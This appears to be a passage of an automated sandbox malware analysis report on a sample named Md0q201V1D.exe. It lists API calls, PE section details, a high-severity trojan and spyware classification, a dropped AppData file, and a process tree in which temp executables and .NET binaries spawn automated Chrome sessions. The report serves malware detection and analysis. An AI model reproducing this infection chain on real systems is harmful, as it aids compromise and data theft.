Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B579ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	29_2_6B579ED0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5896D0 ZwCreateKey,	29_2_6B5896D0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	29_2_6B542ED8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5896C0 ZwSetInformationProcess,	29_2_6B5896C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	29_2_6B54B6F0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D16FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	29_2_6B5D16FA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B59DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	29_2_6B59DEF0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5576FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,	29_2_6B5576FE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56E6F9 ZwAlpcSetInformation,	29_2_6B56E6F9
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618ED6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5896E0 ZwFreeVirtualMemory,	29_2_6B5896E0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	29_2_6B5FBE9B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	29_2_6B57DE9E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542E9F ZwCreateEvent,ZwClose,	29_2_6B542E9F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B543E80
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B613EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	29_2_6B613EBC
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,	29_2_6B56E6B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D2EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B5D2EA3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B606D61 ZwAllocateVirtualMemoryEx,	29_2_6B606D61
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1D43 ZwQueryInformationThread,	29_2_6B5D1D43
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589D70 ZwAlpcQueryInformation,	29_2_6B589D70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	29_2_6B5D1570
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B611D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,	29_2_6B611D55
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1D6A ZwWaitForMultipleObjects,	29_2_6B5D1D6A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618D34
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1D0B ZwSetInformationProcess,	29_2_6B5D1D0B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	29_2_6B574D3B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B571520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B571520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589520 ZwWaitForSingleObject,	29_2_6B589520
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FFD22 ZwQueryInformationProcess,RtlUniform,	29_2_6B5FFD22
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5445D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	29_2_6B5445D0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5895D0 ZwClose,	29_2_6B5895D0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B5FFDD3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56EDC4 ZwCancelWaitCompletionPacket,	29_2_6B56EDC4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,	29_2_6B544DC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5895C0 ZwSetEvent,	29_2_6B5895C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5495F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,	29_2_6B5495F0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	29_2_6B5FBDFA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5895F0 ZwQueryInformationFile,	29_2_6B5895F0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589DE0 ZwAssociateWaitCompletionPacket,	29_2_6B589DE0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543591 ZwSetInformationFile,	29_2_6B543591
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	29_2_6B55DD80
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60B581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B60B581
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601582 ZwTraceEvent,	29_2_6B601582
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5895B0 ZwSetInformationThread,	29_2_6B5895B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589DB0 ZwAlpcSetInformation,	29_2_6B589DB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5465A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	29_2_6B5465A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589DA0 ZwAlpcSendWaitReceivePort,	29_2_6B589DA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,	29_2_6B545450
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1C49 ZwQueryInformationProcess,	29_2_6B5D1C49
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618C75
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589C40 ZwAllocateVirtualMemoryEx,	29_2_6B589C40
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589C70 ZwAlpcConnectPort,	29_2_6B589C70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B585C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	29_2_6B585C70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1C76 ZwQueryInformationProcess,	29_2_6B5D1C76
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	29_2_6B57AC7B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6B56746D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	29_2_6B5F3C60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B580413 ZwUnmapViewOfSection,	29_2_6B580413
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56FC39 ZwAssociateWaitCompletionPacket,	29_2_6B56FC39
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601411 ZwTraceEvent,	29_2_6B601411
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618C14
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A420 ZwGetNlsSectionPtr,	29_2_6B58A420
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542CDB RtlFreeHeap,ZwClose,ZwSetEvent,	29_2_6B542CDB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,	29_2_6B57CCC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6014FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B6014FB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	29_2_6B5F64FB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618CD6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	29_2_6B54F4E3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1CE4 ZwQueryInformationProcess,	29_2_6B5D1CE4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B614CAB ZwTraceControl,	29_2_6B614CAB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C3C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	29_2_6B5C3C93
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B619CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B619CB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A480 ZwInitializeNlsFiles,	29_2_6B58A480
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	29_2_6B604496

Source: F1AC.exe.10.dr

Static PE information: No import functions for PE file found

Source: C066.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C8FE.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DEDC.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: E64F.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C295.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: B096.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: CAC5.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: CBF0.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: CD17.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: FD36.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Md0q201V1D.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\gbhudtb

Jump to behavior

Source: 1105.tmp.29.dr

Binary string: \Device\IPT

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@74/167@62/20

Source: Md0q201V1D.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\Desktop\Md0q201V1D.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Md0q201V1D.exe 'C:\Users\user\Desktop\Md0q201V1D.exe'
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Process created: C:\Users\user\Desktop\Md0q201V1D.exe 'C:\Users\user\Desktop\Md0q201V1D.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\21.exe C:\Users\user\AppData\Local\Temp\21.exe
Source: C:\Users\user\AppData\Local\Temp\21.exe	Process created: C:\Users\user\AppData\Local\Temp\21.exe C:\Users\user\AppData\Local\Temp\21.exe
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B096.exe C:\Users\user\AppData\Local\Temp\B096.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BBE1.exe C:\Users\user\AppData\Local\Temp\BBE1.exe
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CBF0.exe C:\Users\user\AppData\Local\Temp\CBF0.exe
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DF3A.exe C:\Users\user\AppData\Local\Temp\DF3A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EBBE.exe C:\Users\user\AppData\Local\Temp\EBBE.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C066.exe C:\Users\user\AppData\Local\Temp\C066.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,3532224147046022434,3796046305070752020,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1756 /prefetch:8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1512,11815571981665026670,16401458370521835106,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1896 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process created: C:\Users\user\AppData\Local\Temp\DF3A.exe C:\Users\user\AppData\Local\Temp\DF3A.exe
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13203243795606022941,14762146736583605753,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1928 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,11199746608983669523,6532242252009539287,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Roaming\bhhudtb C:\Users\user\AppData\Roaming\bhhudtb
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Process created: C:\Users\user\Desktop\Md0q201V1D.exe 'C:\Users\user\Desktop\Md0q201V1D.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\21.exe C:\Users\user\AppData\Local\Temp\21.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B096.exe C:\Users\user\AppData\Local\Temp\B096.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BBE1.exe C:\Users\user\AppData\Local\Temp\BBE1.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CBF0.exe C:\Users\user\AppData\Local\Temp\CBF0.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21.exe	Process created: C:\Users\user\AppData\Local\Temp\21.exe C:\Users\user\AppData\Local\Temp\21.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process created: C:\Users\user\AppData\Local\Temp\DF3A.exe C:\Users\user\AppData\Local\Temp\DF3A.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,3532224147046022434,3796046305070752020,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1756 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1512,11815571981665026670,16401458370521835106,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1896 /prefetch:8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
